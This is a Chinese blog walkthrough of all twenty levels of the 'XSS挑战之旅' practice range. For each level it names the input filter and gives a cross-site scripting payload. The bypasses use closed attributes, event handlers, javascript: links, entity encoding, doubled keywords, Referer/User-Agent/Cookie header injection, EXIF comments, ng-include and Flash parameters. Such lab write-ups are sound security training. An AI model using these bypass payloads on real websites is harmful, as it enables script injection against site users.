告别卡关!XSS挑战之旅全关卡通关思路详解

XSS挑战之旅

XSS测试思路

  • 确定输入输出点:
    寻找URL参数、表单输入、HTTP头(Referer/UA/Cookie)、隐藏参数等注入点。
  • 观察过滤规则: 检查是否过滤尖括号、引号、关键字(如scripton事件)、空格等。
    绕过策略:
    • 闭合标签:如><payload>闭合原有标签。
    • 事件触发:利用onmouseoveronclick等事件。
    • 编码绕过:URL编码(%0A换行)、HTML实体、十六进制编码。
    • 特殊字符替代:用换行符%0A代替空格,双写关键字绕过过滤。
    • 协议利用:javascript:伪协议

Level1

来到关卡

我们发现URL存在?name参数

且参数值回显在网页上

故尝试操控URL

构造test<

发现网站没有对参数进行恶意字符过滤

尝试构造payload

sql 复制代码
<script>alert(1)</script>

成功弹窗

Level2

可以看到这一关输入点在搜索框

审查元素得知输入的内容在<input>标签的value属性中

故构造payload时要闭合value的双引号

sql 复制代码
"><script>alert(1)</script>

Level3

本关卡输入值被包裹在单引号'

<、>被转义

故需通过单引号闭合的同时

利用标签原有属性(如onmouseover)注入事件绕过尖括号的过滤

构造' onmouseover=alert(1)//(注:换行符可以绕过闭合)

鼠标悬停输入框时触发弹窗

Level4

本关与Level3类似

但闭合符号变为双引号"

且尖括号被过滤。

故需通过双引号闭合并利用事件属性绕过

构造" onmouseover=alert(1)//

Level5

本关<script>on事件关键字被过滤

故需使用非脚本标签(如<a>)的href属性结合javascript:伪协议利用漏洞

构造"><a href='javascript:alert(1)'>点击触发</a>

这里闭合双引号后插入<a>标签

点击链接触发弹窗

Level6

该关卡对script、href等关键词进行过滤

但发现未处理大小写混合情况。

故通过将标签属性或事件名改为大写绕过过滤

构造payload

sql 复制代码
"><Script>alert(1)</script>

构造payload2

sql 复制代码
"><Img Src=x OnError=alert(1)>

构造payload3

sql 复制代码
"><a Href=javascript:alert(1)>click</a>


Level7

本关卡对关键词进行删除处理(如script会被删除)

故需通过双写关键词绕过

例如scscriptript会被过滤为script

构造payload1

构造payload2

sql 复制代码
" oonnclick=alert(1)//(双写on为oonn,提交完点击输入框后即可弹窗,`//`这个符号不能省略)

Level8

该关卡对javascript:协议进行严格过滤

故我们需通过HTML实体编码或Unicode绕过

因为浏览器会自动解码HTML实体或Unicode字符,最终执行原始代码。

构造payload1

sql 复制代码
javascrip&#x74;:alert(1)(`t`的十六进制编码,点击链接弹窗)

构造payload2

使用Unicode编码:

sql 复制代码
javasc&#x0072;ipt:alert(1)

Level9

该关卡要求输入内容包含http://,否则不执行

故我们需在JavaScript伪协议后添加注释或合法URL

由于校验仅检查是否存在http://,注释部分不影响代码执行。

故构造payload

sql 复制代码
javascrip&#x74;:alert(1)//http://(编码+注释)

Level10

本关没有输入框

猜测该关卡通过隐藏参数t_sort注入

故我们需闭合value属性并插入事件

原理是闭合value的引号后

通过type="text"将隐藏输入框变为可见

并绑定事件触发弹窗

构造payload1

sql 复制代码
?keyword=test&t_sort=" type="text" onclick="alert(1)


点击输入框即可弹窗

构造payload2

sql 复制代码
?keyword=test&t_sort=" onmouseover=alert(1) type="text"(鼠标悬停触发弹窗)

构造payload3

sql 复制代码
?t_sort=8888" type="text" onfocus="alert(1)

Level11

本关卡依然没有输入框

猜测页面隐藏的<input>标签中,t_ref参数从HTTP头的Referer获取值

故需通过修改Referer头闭合标签并插入事件触发XSS

这里使用BP拦截请求

目的闭合value属性并添加事件

修改Referer头为:

sql 复制代码
Referer: " onmouseover="alert(1)" type="text"  

Level12

类似Level11

但注入点为User-Agent头,对应隐藏参数t_ua

本关需构造User-Agent值闭合标签并插入事件

故修改User-Agent头为:

sql 复制代码
User-Agent: " onclick="alert(1)" type="text  (点击输入框触发弹窗)


Level13

本关注入点位于Cookie中的user参数

故需修改Cookie值闭合标签并添加事件
bp抓包修改Cookie值为:

sql 复制代码
Cookie: user=" onclick="alert(1)" type="text  (点击输入框触发弹窗)


Level14

本关由于网络原因链接打不开了

故给出思路

页面通过<iframe>加载外部图片查看器

理论上需利用图片EXIF信息注入XSS

即需上传包含恶意脚本的图片,利用解析EXIF的漏洞触发XSS

  • 使用工具(如exiftool)修改图片EXIF注释:
sql 复制代码
exiftool -Comment='<img src=1 onerror=alert(1)>' image.jpg  
  • 上传图片并让页面解析。

Level15

本关只有一张图

由于本关页面使用AngularJSng-include动态包含文件

即可以通过src参数引用外部文件

则我们利用ng-include包含存在漏洞的Level1页面

并传递XSS Payload

构造URL参数

sql 复制代码
http://靶场地址/level15.php?src='level1.php?name=<img src=1 onerror=alert(1)>'  

Level16

该关卡过滤了空格和script关键字

但未过滤尖括号

由于HTML中换行符%0a%0d可替代空格,可以用于拼接事件属性。

故构造payload

sql 复制代码
<img%0dsrc=a%0donerror=alert(1)>

Level17

本关输入点主要位于URL参数中

具体为arg01arg02

且网页将用户输入的arg01arg02参数直接拼接在<embed>标签的src属性中例如:

sql 复制代码
 <embed src="xsf01.swf?arg01=value1&arg02=value2" ...>

而过滤机制方面网页对<、>空格进行了过滤

但保留了on关键字

故构造payload

sql 复制代码
arg01=a&arg02=%20onmouseover=alert`1`(这里临时更换浏览器是因为火狐不兼容flash事件触发)

Level18

本关payloadlevel17

sql 复制代码
arg01=a&arg02=%20onmouseover=alert`1`

Level19

本关是Flash XSS漏洞

故需要利用Flash文件(.swf)的参数处理缺陷

通过分析反编译后的Flash代码(如使用JPEXS工具)

发现arg01=version时,arg02的值会被拼接到Flash的链接逻辑中

而虽然参数通过htmlspecialchars实体化处理

Flash内部未对href属性内容充分过滤

且允许通过javascript:协议执行代码

故可以构造payload

构造关键:
arg01需设置为version 触发Flash中特定逻辑
arg02需构造包含恶意代码的HTML标签

通过<a>标签的href属性注入javascript:协议代码

得到:

sql 复制代码
?arg01=version&arg02=<a href="javascript:alert(1)">xss</a>

Level20

本关通过<embed>标签加载xsf04.swf文件(实际为zeroclipboard.swf的漏洞版本)

而存在核心漏洞是Flash代码未对参数进行严格过滤

导致通过URL参数注入恶意代码

故反编译zeroclipboard.swf后分析源码

sql 复制代码
 public class ZeroClipboard extends Sprite
   {
       
      
      private var button:Sprite;
      
      private var id:String = "";
      
      private var clipText:String = "";
      
      public function ZeroClipboard()
      {
         super();
         stage.scaleMode = StageScaleMode.EXACT_FIT;
         Security.allowDomain("*");
         var flashvars:Object = LoaderInfo(this.root.loaderInfo).parameters;
         id = flashvars.id;
         button = new Sprite();
         button.buttonMode = true;
         button.useHandCursor = true;
         button.graphics.beginFill(13434624);
         button.graphics.drawRect(0,0,Math.floor(flashvars.width),Math.floor(flashvars.height));
         button.alpha = 0;
         addChild(button);
         button.addEventListener(MouseEvent.CLICK,clickHandler);
         button.addEventListener(MouseEvent.MOUSE_OVER,function(param1:Event):*
         {
            ExternalInterface.call("ZeroClipboard.dispatch",id,"mouseOver",null);
         });
         button.addEventListener(MouseEvent.MOUSE_OUT,function(param1:Event):*
         {
            ExternalInterface.call("ZeroClipboard.dispatch",id,"mouseOut",null);
         });
         button.addEventListener(MouseEvent.MOUSE_DOWN,function(param1:Event):*
         {
            ExternalInterface.call("ZeroClipboard.dispatch",id,"mouseDown",null);
         });
         button.addEventListener(MouseEvent.MOUSE_UP,function(param1:Event):*
         {
            ExternalInterface.call("ZeroClipboard.dispatch",id,"mouseUp",null);
         });
         ExternalInterface.addCallback("setHandCursor",setHandCursor);
         ExternalInterface.addCallback("setText",setText);
         ExternalInterface.call("ZeroClipboard.dispatch",id,"load",null);
      }
      
      public function setHandCursor(param1:Boolean) : *
      {
         button.useHandCursor = param1;
      }
      
      private function clickHandler(param1:Event) : void
      {
         System.setClipboard(clipText);
         ExternalInterface.call("ZeroClipboard.dispatch",id,"complete",clipText);
      }
      
      public function setText(param1:*) : *
      {
         clipText = param1;
      }
   }
}

可以看到Flash通过LoaderInfoURL参数arg01arg02中读取值

关键漏洞函数为ExternalInterface.call

用于与JavaScript交互。

故需构造参数闭合arg02原有逻辑并插入恶意代码。

得到:

sql 复制代码
?arg01=id&arg02=xss\"))}catch(e){alert(/xss/)}//%26width%26height

免责声明:

本文章内容仅为个人见解与实践记录,旨在分享网络安全知识。文中观点、工具、技巧等,均不构成专业建议。读者需自行判断其适用性,并对任何因采纳本文章内容而引发的行为及结果承担全部责任。作者不对任何形式的损失负责。请务必谨慎操作,必要时咨询专业人士。

相关推荐
饮长安千年月2 小时前
Linksys WRT54G路由器溢出漏洞分析–运行环境修复
网络·物联网·学习·安全·机器学习
网络安全queen4 小时前
html网络安全工具源码 网络安全前端
安全·web安全
温柔小胖4 小时前
sql注入之python脚本进行时间盲注和布尔盲注
数据库·sql·网络安全
网络安全-老纪5 小时前
网络安全之如何发现安全漏洞
网络·安全·web安全
网络安全筑盾者-燕子7 小时前
计算机网络-OSI七层参考模型与数据封装,网络安全零基础入门到精通实战教程!
网络·计算机网络·安全·web安全·网络安全·osi
hvinsion8 小时前
深入解析TLS协议:保障网络通信安全的关键技术
网络协议·安全·网络安全
圣享科技SMARTLIC8 小时前
企业软件合规性管理:构建高效、安全的软件资产生态
大数据·安全·浮动许可证监控·许可证管理·浮动许可证优化·软件资产管理·浮动许可证管理
Guheyunyi9 小时前
接入DeepSeek后,智慧园区安全调度系统的全面提升
人工智能·python·安全·信息可视化·数据分析·智慧城市
网安Ruler9 小时前
泷羽Sec-黑客基础之html(超文本标记语言)
前端·学习·网络安全·html
仇辉攻防11 小时前
【云安全】云原生-Docker(六)Docker API 未授权访问
web安全·网络安全·docker·云原生·容器·kubernetes·安全威胁分析